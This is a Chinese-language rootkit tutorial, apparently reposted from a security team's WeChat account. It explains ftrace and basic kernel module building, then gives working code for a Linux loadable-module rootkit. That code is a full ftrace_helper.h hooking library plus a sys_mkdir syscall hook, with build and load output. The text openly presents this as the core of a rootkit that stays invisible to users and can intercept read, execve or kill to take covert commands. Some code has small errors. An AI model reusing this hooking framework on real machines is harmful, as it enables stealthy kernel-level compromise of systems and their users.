什么是Linux Kernel Rootkit
作为内核 rootkit 意味着我们编写的代码将通过我们编写的内核模块以内核级权限(ring 0)运行。这可能是一把双刃剑:我们所做的对于用户和用户空间工具是不可见的,但是如果我们搞砸了一些事情,我们很可能会导致系统崩溃,因为内核已经被我们破坏!所以建议开发LKM rootkit时在虚拟机中进行,并保存好快照。
内核 rootkit 中的主要技术是函数挂钩。本质上,我们在内存中使用一个函数来执行一些我们想要影响的操作(列出目录内容、向进程发送信号等)并编写出对应的程序。这个过程的一部分涉及保存原始函数的副本,我们仍然可以实现正常功能而无需重写它,然后我们必须找到一种方法将我们的新函数“注入”到内核中,这样内核将继续“正常”运行(也就是没有任何外部迹象向用户表明某些函数已经被替换)。本文主要使用的函数挂钩方法是ftrace。
ftrace
Ftrace 是一个内核跟踪器,旨在帮助系统的开发人员和设计人员找到内核内部发生的事情。它可用于调试或分析发生在用户空间之外的延迟和性能问题。
尽管 ftrace 通常被认为是函数跟踪器,但它实际上是一个由多种跟踪程序组成的框架。有延迟跟踪来检查中断禁用和启用之间发生的情况,以及抢占和从任务被唤醒到任务实际调度的时间。
ftrace 最常见的用途之一是事件跟踪。整个内核中有数百个静态事件点,可以通过 tracefs 文件系统启用它们,以查看内核某些部分发生的情况。
Ftrace 使用 tracefs 文件系统来保存控制文件以及显示输出的文件。
当 tracefs 被配置到内核中时 ,目录 /sys/kernel/tracing 将被创建。要挂载此目录,可以添加到 /etc/fstab 文件中:
tracefs /sys/kernel/tracing tracefs defaults 0 0
或者可以在运行时安装它:
mount -t tracefs nodev /sys/kernel/tracing
为了更快地访问该目录,可能需要创建一个软链接:
ln -s /sys/kernel/tracing /tracing
在 4.1 之前,所有 ftrace 跟踪控制文件都在 debugfs 文件系统中,该文件系统通常位于 /sys/kernel/debug/tracing。为了向后兼容,在挂载 debugfs 文件系统时,tracefs 文件系统将自动挂载在:
/sys/kernel/debug/tracing
, 位于 tracefs 文件系统中的所有文件也将位于该 debugfs 文件系统目录中。
LKM Rootkit 开发工作流程
本文使用Ubuntu 20.04的环境
parallels@ubuntu20:/$ uname -a
Linux ubuntu20.04 5.4.0-80-generic #90-Ubuntu SMP Fri Jul 9 17:43:26 UTC 2021 aarch64 aarch64 aarch64 GNU/Linux
构建内核模块
让我们看看下面的 C 代码
#include <linux/init.h> //这个头文件包含了你的模块初始化与清除的函数
#include <linux/module.h> //这个头文件包含了许多符号与函数的定义,这些符号与函数多与加载模块有关
#include <linux/kernel.h>
MODULE_LICENSE("GPL"); // "GPL" 是指明了 这是GNU General Public License的任意版本,除非你的模块显式地声明一个开源版本,否则内核会默认你这是一个私有的模块(Proprietary)。
MODULE_AUTHOR("TheXcellerator"); // 声明作者
MODULE_DESCRIPTION("Basic Kernel Module"); // 对这个模块作一个简单的描述
MODULE_VERSION("0.01"); // 这个模块的版本
static int __init example_init(void)
{
printk(KERN_EMERG "Hello, world!n");
return 0;
}
static void __exit example_exit(void)
{
printk(KERN_EMERG "Goodbye, world!n");
}
module_init(example_init);
module_exit(example_exit);
内核模块和应用程序的最大区别是入口函数,内核模块的入口函数不再是main()函数,而是通过module_init指定,当一个内核被加载到内核运行时,首先要执行由module_init指定的hello_init。
函数example_init在模块加载后执行,example_exit在模块卸载时执行。最后两行向编译器声明example_init和example_exit具有的角色。(可以随意命名这两个函数,只要在它们的声明中保留__init和__exit并更改代码最后两行)。
printk是在内核源码中用来记录日志信息的函数,只能在内核源码范围内使用。用法和printf非常相似,printk函数主要做两件事情:第一件就是将信息记录到log中,而第二件事就是调用控制台驱动来将信息输出。
printk相比printf来说还多了个:日志级别的设置,用来控制printk打印的这条信息是否在终端上显示的,当日志级别的数值小于控制台级别时,printk要打印的信息才会在控制台打印出来,否则不会显示在控制台
在我们内核中一共有8种级别,他们分别为
#define KERN_EMERG "<0>" /* system is unusable */
#define KERN_ALERT "<1>" /* action must be taken immediately */
#define KERN_CRIT "<2>" /* critical conditions */
#define KERN_ERR "<3>" /* error conditions */
#define KERN_WARNING "<4>" /* warning conditions */
#define KERN_NOTICE "<5>" /* normal but significant condition */
#define KERN_INFO "<6>" /* informational */
#define KERN_DEBUG "<7>" /* debug-level messages */
在本文中,我们几乎总是使用KERN_INFO或KERN_DEBUG。请注意,这个宏不像字符串的其余部分那样使用引号!printk()就像printf()一样,是我们调试时从内核中提取数据的主要方法。
我们使用以下 Makefile 来编译它:
obj-m += example.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
parallels@ubuntu20:~/Desktop/rootkit$ make
make -C /lib/modules/5.4.0-80-generic/build M=/home/parallels/Desktop/rootkit modules
make[1]: Entering directory '/usr/src/linux-headers-5.4.0-80-generic'
CC [M] /home/parallels/Desktop/rootkit/example.o
Building modules, stage 2.
MODPOST 1 modules
CC [M] /home/parallels/Desktop/rootkit/example.mod.o
LD [M] /home/parallels/Desktop/rootkit/example.ko
make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-80-generic'
生成的example.ko是新构建的内核模块(.ko用于内核对象),要将其加载到正在运行的内核中,只需运行 # insmod example.ko
. 现在,如果检查dmesg,应该可以看到“Hello,world!” 线!要删除内核模块,只需运行# rmmod example(请注意,.ko当我们卸载模块时没有),可以看到告别消息出现在内核缓冲区中。
root@ubuntu20:/home/parallels/Desktop/rootkit# dmesg | grep Hello
[366225.781179] Hello, world!
Ftrace 和函数挂钩
已经构建了第一个内核模块,但是现在我们想让它做一些很酷的事情——比如改变正在运行的内核的行为。我们这样做的方法是通过函数挂钩,但问题是 – 我们如何知道要挂钩哪些函数?
对我们来说幸运的是,已经有很多潜在目标:系统调用。系统调用是可以从用户空间调用的内核函数,一些常见的系统调用有:
-
open -
read -
write -
close -
execve -
fork -
kill -
mkdir
将我们自己的功能添加到这些函数中的任何一个都可能非常有趣。我们可以拦截read对某些文件的调用并返回不同的内容,或者使用execve。我们甚至可以利用kill中的一些废弃信号,向我们的rootkit发送命令,以采取某些行动。
但首先,更好地了解我们如何从用户空间进行系统调用会很有帮助。
从用户空间进行系统调用
如果查看 X86_64 的 syscall 表,就会发现每个 syscall 都分配有一个关联的编号(这些编号会因不同的体系结构和内核版本而异,但幸运的是我们可以使用一堆宏让我们摆脱这个困境)。
在X86架构中,如果我们想进行系统调用,那么我们必须将我们想要的系统调用号存储到rax
寄存器中,然后通过软件中断调用内核syscall。在我们使用中断之前,系统调用需要的任何参数都必须加载到某些寄存器中,并且返回值几乎总是放入rax
。
最好通过一个例子来说明这一点——让我们以系统调用 0 为例sys_read(所有系统调用都以sys_开头)。如果我们使用查找这个系统调用man 2 read
,我们会看到它被定义为:
ssize_t read(int fd, void *buf, size_t count);
fd是文件描述符(从open()调用返回),buf是用于存储读取数据的缓冲区,count是要读取的字节数。返回值是成功读取的字节数。
我们看到我们有 3 个参数需要传递给sys_read系统调用,但是我们如何知道将它们放入哪些寄存器呢?在Linux的系统调用参考为我们提供了以下的答案:
因此,rdi
获取文件描述符,rsi
获取指向缓冲区的指针,并rdx
获取要读取的字节数。给rax赋值 0x0 ,那么我们就可以进行系统调用,汇编代码如下所示:
mov rax, 0x0
mov rdi, 5
mov rsi, buf
mov rdx, 10
syscall
内核如何处理系统调用
这对用户空间来说一切都很好,但是内核呢?我们的 rootkit 将在内核上下文中运行,因此我们应该对内核如何处理系统调用有一些了解。
但是在 64 位内核版本 4.17.0 及更高版本中,内核处理系统调用的方式发生了变化。首先,我们将看看旧方法,因为它仍然适用于 Ubuntu 16.04 等发行版,并且学习了旧版本,新版本就会更容易理解。
首先我们看一下在 Ubuntu 16中 /usr/src/linux-headers-**/include/linux/syscalls.h
中对sys_read
的定义
asmlinkage long sys_read(unsigned int fd, char __user *buf, size_t count);
首先解释一下asmlinkage
关键词的意思,asmlinkage是个宏,使用它是为了保持参数在stack中。看一下/usr/include/asm/linkage.h
里面的定义:
#define asmlinkage CPP_ASMLINKAGE __attribute__((regparm(0)))
__attribute__是关键字,是gcc的C语言扩展,regparm(0)表示不从寄存器传递参数。这样,所有的函数参数强迫从栈中提取。
如果我们为sys_read编写一个钩子,我们只需要自己模仿这个函数声明,我们就可以随意使用这些参数。
在(64 位)内核版本 4.17.0 中,情况发生了变化。用户首先存储在寄存器中的参数被复制到一个名为 pt_regs 的特殊结构中,然后这是传递给系统调用的唯一内容。然后系统调用负责从这个结构中提取它需要的参数。根据ptrace.h,它具有以下形式:
struct pt_regs {
unsigned long bx;
unsigned long cx;
unsigned long dx;
unsigned long si;
unsigned long di;
/* redacted for clarity */
};
这意味着,在 sys_read 的情况下,我们必须做这样的事情:
asmlinkage long sys_read(const struct pt_regs *regs)
{
int fd = regs->di;
char __user *buf = regs->si;
size_t count = regs->d;
/* rest of function */
}
当然,真实sys_read不需要这样做,因为内核会为我们完成工作。但是当我们编写一个钩子函数时,我们将需要以这种方式处理参数。
第一个系统调用钩子
我们将考虑上述两种方法来创建一个非常简单的钩子,用于sys_mkdir,将正在创建的目录的名称打印到内核缓冲区。之后,我们将担心如何让这个钩子真正被使用而不是真正的sys_mkdir。
首先,我们需要检查我们正在编译的内核版本,可以在 linux/version.h 中查看。然后我们将使用一堆预处理器宏来为我们简化事情。
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/version.h>
#include <linux/namei.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("TheXcellerator");
MODULE_DESCRIPTION("mkdir syscall hook");
MODULE_VERSION("0.01");
#if defined(LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0))
#define PTREGS_SYSCALL_STUBS 1
#endif
#ifdef PTREGS_SYSCALL_STUBS
static asmlinkage long (*orig_mkdir)(const struct pt_regs *);
asmlinkage int hook_mkdir(const struct pt_regs *regs)
{
char __user *pathname = (char *)regs->di;
char dir_name[NAME_MAX] = {0};
long error = strncpy_from_user(dir_name, pathname, NAME_MAX);
if (error > 0)
printk(KERN_INFO "rootkit: trying to create directory with name: %sn", dir_name);
orig_mkdir(regs);
return 0;
}
#else
static asmlinkage long (*orig_mkdir)(const char __user *pathname, umode_t mode);
asmlinkage int hook_mkdir(const char __user *pathname, umode_t mode)
{
char dir_name[NAME_MAX] = {0};
long error = strncpy_from_user(dir_name, pathname, NAME_MAX);
if (error > 0)
printk(KERN_INFO "rootkit: trying to create directory with name %sn", dir_name);
orig_mkdir(pathname, mode);
return 0;
}
#endif
/* init and exit functions where the hooking will happen later */
首先要注意的是,我们有 2 个几乎相同的函数,由 if/else 预处理器条件分隔。检查内核版本和体系结构后,才能决定PTREGS_SYSCALL_STUBS
是否会定义。如果是,那么我们定义orig_mkdir函数指针和hook_mkdir函数声明,以及使用pt_regs结构。否则,我们使用参数的实际名称给出完整的声明。请注意,在钩子的第一个版本(我们使用的地方pt_regs)中,我们还必须包含以下行
char __user *pathname = (char *)regs->di;
char __user 的使用通常在linux 内核中,表示这个地址在用户空间中。这行代码是为了从结构regs中提取出路径名参数。
另一个需要注意的重要事项是strncpy_from_user()函数的使用。
strncpy_from_user() 从用户空间复制一个以 NULL 结尾的字符串,将 NUL 终止的字符串从用户空间复制到内核空间。成功时,返回字符串的长度(不包括尾随的 NULL)。如果访问用户空间失败,则返回 -EFAULT(某些数据可能已被复制)。如果count小于字符串的长度,则复制count个字节并返回count。
内核为我们提供了很多类似的功能,比如 copy_from_user(),strncpy_from_user()等等,以及copy_to_user(),用于复制数据返回到用户空间。在上面的代码片段中,我们从 pathname, 复制一个字符串到 dir_name,我们将读取到NAME_MAX(通常是 255 – Linux 中文件名的最大长度),或者直到我们遇到一个空字节。
一旦我们获得了要存储在dir_name缓冲区中的新文件夹的名称,我们就可以继续使用printk()通常的%s格式字符串将其打印到内核缓冲区中。
printk(KERN_INFO "rootkit: trying to create directory with name %sn", dir_name);
最后,最重要的部分是 orig_mkdir()
使用相应的实际参数进行调用。这确保了sys_mkdir(即实际创建新文件夹)的原始功能仍然保留。那么,orig_mkdir 与真实sys_mkdir 有什么关系,我们所做的只是通过一个函数指针来定义它, 将 orig_mkdir 与真正的 sys_mkdir 连接起来,是我们即将要讲的函数挂钩过程的一部分。注意,在这两种情况下,orig_mkdir都是全局定义的。这使得 rootkit_init 和 rootkit_exit 中的钩子/解钩代码可以利用它。
剩下的唯一事情就是将这个函数实际挂钩到内核中,而不是真正的sys_mkdir。
使用 Ftrace 进行函数挂钩
我们将使用 Ftrace 在内核中创建一个函数挂钩。在实践中,我们创建一个ftrace_hook
数组,然后在rootkit_init()
中调用fh_install_hooks()
和在rootkit_exit()
中调用fh_uninstall_hooks()
。任何 rootkit 的真正核心都是钩子,这将是以后博客文章的重点。我们需要的所有功能都已打包到ftrace_helper.h
这个头文件中。
/*
* Helper library for ftrace hooking kernel functions
* Author: Harvey Phillips ([email protected])
* License: GPL
* */
#include <linux/ftrace.h>
#include <linux/linkage.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#if defined(LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0))
#define PTREGS_SYSCALL_STUBS 1
#endif
/* x64 has to be special and require a different naming convention */
#ifdef PTREGS_SYSCALL_STUBS
#define SYSCALL_NAME(name) ("__x64_" name)
#else
#define SYSCALL_NAME(name) (name)
#endif
#define HOOK(_name, _hook, _orig)
{
.name = SYSCALL_NAME(_name),
.function = (_hook),
.original = (_orig),
}
/* We need to prevent recursive loops when hooking, otherwise the kernel will
* panic and hang. The options are to either detect recursion by looking at
* the function return address, or by jumping over the ftrace call. We use the
* first option, by setting USE_FENTRY_OFFSET = 0, but could use the other by
* setting it to 1. (Oridinarily ftrace provides it's own protections against
* recursion, but it relies on saving return registers in $rip. We will likely
* need the use of the $rip register in our hook, so we have to disable this
* protection and implement our own).
* */
#define USE_FENTRY_OFFSET 0
#if !USE_FENTRY_OFFSET
#pragma GCC optimize("-fno-optimize-sibling-calls")
#endif
/* We pack all the information we need (name, hooking function, original function)
* into this struct. This makes is easier for setting up the hook and just passing
* the entire struct off to fh_install_hook() later on.
* */
struct ftrace_hook {
const char *name;
void *function;
void *original;
unsigned long address;
struct ftrace_ops ops;
};
/* Ftrace needs to know the address of the original function that we
* are going to hook. As before, we just use kallsyms_lookup_name()
* to find the address in kernel memory.
* */
static int fh_resolve_hook_address(struct ftrace_hook *hook)
{
hook->address = kallsyms_lookup_name(hook->name);
if (!hook->address)
{
printk(KERN_DEBUG "rootkit: unresolved symbol: %sn", hook->name);
return -ENOENT;
}
#if USE_FENTRY_OFFSET
*((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE;
#else
*((unsigned long*) hook->original) = hook->address;
#endif
return 0;
}
/* See comment below within fh_install_hook() */
static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs)
{
struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops);
#if USE_FENTRY_OFFSET
regs->ip = (unsigned long) hook->function;
#else
if(!within_module(parent_ip, THIS_MODULE))
regs->ip = (unsigned long) hook->function;
#endif
}
/* Assuming we've already set hook->name, hook->function and hook->original, we
* can go ahead and install the hook with ftrace. This is done by setting the
* ops field of hook (see the comment below for more details), and then using
* the built-in ftrace_set_filter_ip() and register_ftrace_function() functions
* provided by ftrace.h
* */
int fh_install_hook(struct ftrace_hook *hook)
{
int err;
err = fh_resolve_hook_address(hook);
if(err)
return err;
/* For many of function hooks (especially non-trivial ones), the $rip
* register gets modified, so we have to alert ftrace to this fact. This
* is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also
* need to OR the RECURSION_SAFE flag (effectively turning if OFF) because
* the built-in anti-recursion guard provided by ftrace is useless if
* we're modifying $rip. This is why we have to implement our own checks
* (see USE_FENTRY_OFFSET). */
hook->ops.func = fh_ftrace_thunk;
hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS
| FTRACE_OPS_FL_RECURSION_SAFE
| FTRACE_OPS_FL_IPMODIFY;
err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0);
if(err)
{
printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %dn", err);
return err;
}
err = register_ftrace_function(&hook->ops);
if(err)
{
printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %dn", err);
return err;
}
return 0;
}
/* Disabling our function hook is just a simple matter of calling the built-in
* unregister_ftrace_function() and ftrace_set_filter_ip() functions (note the
* opposite order to that in fh_install_hook()).
* */
void fh_remove_hook(struct ftrace_hook *hook)
{
int err;
err = unregister_ftrace_function(&hook->ops);
if(err)
{
printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %dn", err);
}
err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0);
if(err)
{
printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %dn", err);
}
}
/* To make it easier to hook multiple functions in one module, this provides
* a simple loop over an array of ftrace_hook struct
* */
int fh_install_hooks(struct ftrace_hook *hooks, size_t count)
{
int err;
size_t i;
for (i = 0 ; i < count ; i++)
{
err = fh_install_hook(&hooks[i]);
if(err)
goto error;
}
return 0;
error:
while (i != 0)
{
fh_remove_hook(&hooks[--i]);
}
return err;
}
void fh_remove_hooks(struct ftrace_hook *hooks, size_t count)
{
size_t i;
for (i = 0 ; i < count ; i++)
fh_remove_hook(&hooks[i]);
}
首先我们需要指定一个数组,Ftrace 将使用它来为我们处理钩子。
static struct ftrace_hook hook[] = {
HOOK("sys_mkdir", hook_mkdir, &orig_mkdir),
};
该HOOK宏需要我们所针对的系统调用或内核函数的名称 ( sys_mkdir)、我们编写的钩子函数 ( hook_mkdir) 以及我们希望保存原始系统调用的地址 ( orig_mkdir)。请注意,hook[]对于更复杂的 rootkit ,它可以包含的不仅仅是一个函数钩子!
一旦设置了这个数组,我们用 fh_install_hooks()
来安装函数钩子并用 fh_remove_hooks()
删除它们。我们所要做的就是将它们分别放在 init 和 exit 函数中并进行一些错误检查:
static int __init rootkit_init(void)
{
int err;
err = fh_install_hooks(hooks, ARRAY_SIZE(hooks));
if(err)
return err;
printk(KERN_INFO "rootkit: loadedn");
return 0;
}
static void __exit rootkit_exit(void)
{
fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
printk(KERN_INFO "rootkit: unloadedn");
}
module_init(rootkit_init);
module_exit(rootkit_exit);
make之后使用 mkdir lol
创建一个文件夹,使用 dmesg
查看内核信息,可以看到我们的rootkit成功捕获到了这个信息
$ sudo dmesg -C
$ sudo insmod rootkit.ko
$ mkdir lol
$ dmesg
[ 3271.730008] rootkit: loaded
[ 3276.335671] rootkit: trying to create directory with name: lol
我们的 rootkit 成功地连接了 sys_mkdir 系统调用,Ftrace 负责确保 orig_mkdir 指向原始文件,这样我们就可以在我们的钩子中调用 sys_mkdir 。
对于未来的新手,我们需要做的就是为我们的目标函数编写一个新的钩子,并hooks[]用细节更新数组。
ftrace_helper.h 详解
粗略地说,ftrace 的特性之一是它允许我们将回调附加到内核的一部分。具体来说,我们可以告诉 ftrace 在 rip 寄存器包含某个内存地址时介入。如果我们将此地址设置为sys_mkdir(或任何其他函数)的地址,那么我们可以导致执行另一个函数。
ftrace 实现此目的所需的所有信息都要保存到一个名为ftrace_hook的结构体. 因为我们希望允许多个钩子,所以我们使用hooks[]数组:
static struct ftrace_hook hooks[] = {
HOOK("sys_mkdir", hook_mkdir, &orig_mkdir),
};
为了更快更简单地填充这个结构,我们有HOOK宏:
#define HOOK(_name, _hook, _orig)
{
.name = SYSCALL_NAME(_name),
.function = (_hook),
.original = (_orig),
}
该SYSCALL_NAME宏负责处理这样一件事:在 64 位内核上,将__x64_添加到系统调用的名称之前。
现在,我们需要看一下fh_install_hooks()
函数,这个函数遍历hooks[]数组并调用fh_install_hook()
每个元素。
看一下fh_install_hook()
函数,可以发现这个函数做的第一件事是在ftrace_hook对象上调用fh_resolve_hook_address()
。这个函数是使用 kallsyms_lookup_name()
(由
接下来是一个预处理器语句:
#if USE_FENTRY_OFFSET
*((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE;
#else
*((unsigned long*) hook->original) = hook->address;
为了理解这一点,我们需要思考当我们试图钩住函数时,递归循环的危险性。有两种主要的方法来避免这种情况;我们可以尝试通过查看函数的返回地址来检测递归,或者我们可以直接跳过ftrace调用(上面的+MCOUNT_INSN_SIZE)。为了在各种方法之间进行切换,我们有 USE_FENTRY_OFFSET。如果它被设置为0,我们就使用第一个选项,否则就用第二个。
我们正在使用第一个选项,这意味着我们必须禁用ftrace提供的保护。这种内置的保护依赖于在rip中保存返回寄存器,但如果我们想使用rip,我们就不能冒险破坏它。最终,我们不得不实现我们自己的保护措施。所有这一切都归结于ftrace_hook结构中的.original字段被设置为.name命名的系统调用的内存地址。
fh_install_hook()的下一步是设置ftrace_hook中的.ops字段,它本身就是一个有几个字段的结构。
hook->ops.func = fh_ftrace_thunk;
hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS
| FTRACE_OPS_FL_RECURSION_SAFE
| FTRACE_OPS_FL_IPMODIFY;
如上所述,rip可能会被修改,所以我们必须通过设置FTRACE_OPS_FL_IP_MODIFY来提醒ftrace。为了设置这个标志,我们还必须设置FTRACE_OPS_FL_SAVE_REGS标志,它将原始系统调用的pt_regs结构传递给我们的钩子。最后,我们还需要关闭ftrace内置的递归保护,这就是FTRACE_OPS_FL_RECURSION_SAFE标志的原因(默认情况下,这个标志是打开的)。
当我们设置这些标志时,我们做的另一件事是将ops.func子字段设置为fh_trace_thunk–这就是我们前面提到的回调。看一下这个函数,我们发现它真正做的是将rip寄存器设置为指向hook->function。剩下的就是确保这个回调在rip包含sys_mkdir的地址时被执行。
err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0);
if(err)
{
printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %dn", err);
return err;
}
err = register_ftrace_function(&hook->ops);
if(err)
{
printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %dn", err);
return err;
}
ftrace_set_filter_ip()
告诉ftrace只有在rip是sys_mkdir的地址时才执行我们的回调(这个地址已经在前面的hook->address中保存)。最后,我们通过调用register_ftrace_function()
来启动整个事情。在这一点上,函数钩子已经到位了
正如你所想象的那样,当我们卸载模块并调用 rootkit_exit() 时,fh_remove_hooks() 就会反过来做所有这些事情。
这里借用网上一篇文章的图来讲解下ftrace和hook的整个过程:
在此图中,我们可以看到用户进程(蓝色)如何执行对内核(红色)的系统调用,其中ftrace框架(紫色)从我们的模块(绿色)调用函数。
下面,我们详细描述了这个过程的每一步:
-
-
SYSCALL指令由用户进程执行。该指令允许切换到内核模式,并让低级系统调用处理程序entry_SYSCALL_64()负责。此处理程序负责64位内核上64位程序的所有系统调用。 -
-
一个特定的处理器接收控制。内核快速完成汇编程序上实现的所有低级任务,并将控制权移交给高级的do_syscall_64()函数,该函数使用c语言编写。该函数到达系统调用处理程序表sys_call_table,并通过系统调用号调用特定的处理程序。在我们的示例中,它是sys_execve()函数。 -
-
调用ftrace。在每个内核函数的开头都有一个fentry()函数调用。该函数由ftrace框架实现。在不需要跟踪的函数中,这个调用被替换为nop指令。然而,对于sys_execve()函数,没有这样的调用。 -
-
Ftrace调用我们的回调。Ftrace调用所有注册的跟踪回调,包括我们的。其他回调不会干扰,因为在每个特定的位置,只能安装一个回调来更改%rip寄存器的值。 -
-
回调函数执行hooking。这个回调函数查看在do_syscall_64()函数内部的parent_ip引导的值——因为它是调用sys_execve()处理程序的特定函数——并决定hook函数,在pt_regs结构中更改寄存器%rip的值。 -
-
Ftrace恢复寄存器的状态。在FTRACE_SAVE_REGS标志之后,框架在调用处理程序之前将注册状态保存在pt_regs结构中。当处理结束时,从相同的结构恢复寄存器。我们的处理程序修改了寄存器%rip——一个指向下一个执行函数的指针——这会导致将控制传递到一个新的地址。 -
-
包装函数接收控制。无条件跳转使它看起来像sys_execve()函数的激活已经终止。不是这个函数,而是fh_sys_execve()函数。同时,处理器和内存的状态保持不变,因此我们的函数接收原始处理程序的参数,并将控制权返回给do_syscall_64()函数。 -
-
原函数是由包装函数调用的。现在,系统调用在我们的控制之下。在分析系统调用的上下文和参数之后,fh_sys_execve()函数可以允许或禁止执行。如果禁止执行,函数返回一个错误代码。否则,函数需要重复对原始处理程序的调用,并且通过钩子设置期间保存的real_sys_execve指针再次调用sys_execve()。 -
-
回调获得控制权。就像在sys_execve()的第一次调用期间,控件通过ftrace到我们的回调。但这一次,这个过程以不同的方式结束。 -
-
回调什么也不做。sys_execve()函数不是由内核从do_syscall_64()调用的,而是由我们的fh_sys_execve()函数调用的。因此,寄存器保持不变,sys_execve()函数照常执行。唯一的问题是,ftrace两次看到sys_execve()的入口点。 -
-
包装函数获得控制权。系统调用处理程序sys_execve()第二次将控制权交给我们的fh_sys_execve()函数。现在,一个新进程的启动已经接近完成。我们可以看到execve()调用是否完成了一个错误,研究新的进程,对日志文件做一些注释,等等。 -
-
内核接收控制。最后,运行完fh_sys_execve()函数,并返回do_syscall_64()函数。该函数将调用视为正常完成的调用,而内核照常运行。 -
-
控制权转交给用户进程。最后,内核执行IRET指令(或SYSRET,但对于execve()只能执行IRET),为新用户进程安装寄存器,并将处理器切换到用户代码执行模式。系统调用结束了,新进程的启动也结束了。
end
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析+AI 长期招新
原文始发于微信公众号(ChaMd5安全团队):Linux Kernel Rootkit 2 — LKM Rootkit